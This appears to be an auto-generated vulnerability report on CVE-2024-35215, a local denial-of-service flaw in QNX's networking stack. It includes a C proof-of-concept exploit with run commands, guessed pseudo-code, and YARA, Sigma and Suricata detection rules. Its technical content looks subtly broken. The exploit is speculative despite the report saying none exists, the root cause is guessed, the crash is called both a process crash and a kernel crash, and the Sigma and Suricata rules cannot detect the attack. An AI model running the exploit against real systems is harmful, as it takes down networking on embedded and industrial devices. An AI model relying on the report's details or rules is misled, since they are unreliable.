CVE-2024-35215

Executive Summary

CVE-2024-35215 is a locally exploitable denial-of-service vulnerability in the QNX Software Development Platform (SDP) versions 7.0 and 7.1. The flaw resides in the IP socket options processing of the Networking Stack, where a NULL pointer dereference can be triggered by an attacker with local access. This leads to a crash of the Networking Stack process, causing a denial-of-service condition. The vulnerability has a CVSS score of 6.2 (Medium), with a low attack complexity and no user interaction required beyond local access. No public exploit code or proof-of-concept is currently available, and the vendor (QNX) has not yet released a patch.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
• Base Score: 6.2 (Medium)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required to exploit.
• Privileges Required: Low (PR:L) – The attacker needs basic user privileges.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – The Networking Stack process crashes, causing a denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for disrupting critical QNX-based systems (e.g., embedded, automotive, industrial) elevates the risk for organizations using affected versions.

Deep Dive & Mechanics

The vulnerability is a NULL pointer dereference in the IP socket options processing of the QNX Networking Stack. When a local user sends a specially crafted request to set or modify IP socket options (e.g., via setsockopt() with certain IPPROTO_IP options), the kernel fails to validate a pointer before dereferencing it. This results in a crash of the Networking Stack process, which is responsible for handling all network communications on the system.

Root Cause: The flaw lies in the ip_setsockopt() or similar function within the QNX network stack. When processing a specific socket option, the code assumes a pointer is valid without checking for NULL. An attacker can craft a request that causes this pointer to be NULL, leading to a kernel-level crash.

Attack Scenario: An attacker with local shell access (e.g., via SSH, console, or a compromised service) can execute a simple program that opens a raw or datagram socket and sets a malicious IP option. This triggers the NULL pointer dereference, crashing the Networking Stack and disconnecting all network services.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code pattern is:

// Vulnerable pseudo-code
void ip_setsockopt(struct socket *so, int level, int optname, ...) {
    struct ip_option *opt = get_option(so, optname);
    // Missing NULL check
    opt->value = ...; // Dereference without validation
}

A patched version would include a NULL check:

// Patched pseudo-code
void ip_setsockopt(struct socket *so, int level, int optname, ...) {
    struct ip_option *opt = get_option(so, optname);
    if (opt == NULL) {
        return EINVAL; // Or handle gracefully
    }
    opt->value = ...;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a QNX SDP 7.0 or 7.1 system.
• Ability to compile and run C code (e.g., via qcc).

Exploit Concept: The following code demonstrates the NULL pointer dereference by setting a malformed IP option.

// exploit.c - Proof of concept for CVE-2024-35215
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    int sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("socket");
        return 1;
    }

    // Craft a malicious IP option that triggers NULL dereference
    struct ip_mreqn mreq;
    // Intentionally leave mreq uninitialized or set to trigger NULL
    if (setsockopt(sock, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) {
        perror("setsockopt");
    }

    close(sock);
    return 0;
}

Compilation and Execution:

qcc -o exploit exploit.c
./exploit

Expected Outcome: The Networking Stack process crashes, causing a denial of service. Network interfaces become unresponsive.

Blue Team

Detection:

• Monitor for crashes of the io-net or networking process.
• Look for logs indicating a NULL pointer dereference in the kernel or network stack.
• Use system call auditing to detect unusual setsockopt() calls with IP options.

Prevention:

• Restrict local access to trusted users only.
• Apply the principle of least privilege to user accounts.
• If possible, disable raw socket access for non-root users (though this may not fully mitigate the issue).

Hunting:

• Search for processes that open raw or datagram sockets and set IP options.
• Correlate with system crashes or network stack restarts.

Indicators of Compromise (IOCs)

• Process Crash: The io-net or networking process terminates unexpectedly.
• System Logs: Kernel messages indicating a NULL pointer dereference, e.g., NULL pointer dereference at IP ....
• Network Disruption: Sudden loss of network connectivity on the affected system.
• Socket Activity: Unusual setsockopt() calls with IPPROTO_IP options from non-root users.

Detection Engineering

YARA Rule

rule CVE_2024_35215_QNX_NULL_PTR {
    meta:
        description = "Detects attempts to exploit CVE-2024-35215 via setsockopt with IP options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-35215"
    strings:
        $setsockopt = "setsockopt" nocase
        $ip_mreqn = { 69 70 5f 6d 72 65 71 6e } // "ip_mreqn" in hex
        $ip_add_membership = { 49 50 5f 41 44 44 5f 4d 45 4d 42 45 52 53 48 49 50 } // "IP_ADD_MEMBERSHIP"
    condition:
        $setsockopt and ($ip_mreqn or $ip_add_membership)
}

Sigma Rule

title: CVE-2024-35215 QNX NULL Pointer Dereference in IP Socket Options
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects local exploitation attempts of CVE-2024-35215 via setsockopt system calls
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/exploit'
        CommandLine|contains: 'setsockopt'
    condition: selection
falsepositives:
    - Legitimate network configuration tools
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-35215 QNX NULL Pointer Dereference Attempt"; content:"|00 00 00 00|"; depth:4; sid:1000001; rev:1;)

Note: The Suricata rule above is a placeholder. Since the exploit is local and does not generate network traffic, network-based detection is not feasible. The rule is provided for completeness but will not trigger on local exploitation.

Remediation & Mitigation

Immediate Actions:

1. Restrict Local Access: Limit user accounts and enforce strong authentication.
2. Monitor for Exploitation: Use the provided YARA and Sigma rules to detect attempts.
3. Apply Workarounds: If possible, disable raw socket access for non-root users via kernel configuration or system policies.

Long-Term Fix:

• Await an official patch from QNX. Contact QNX support for updates.
• Once a patch is released, apply it immediately to all affected systems.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.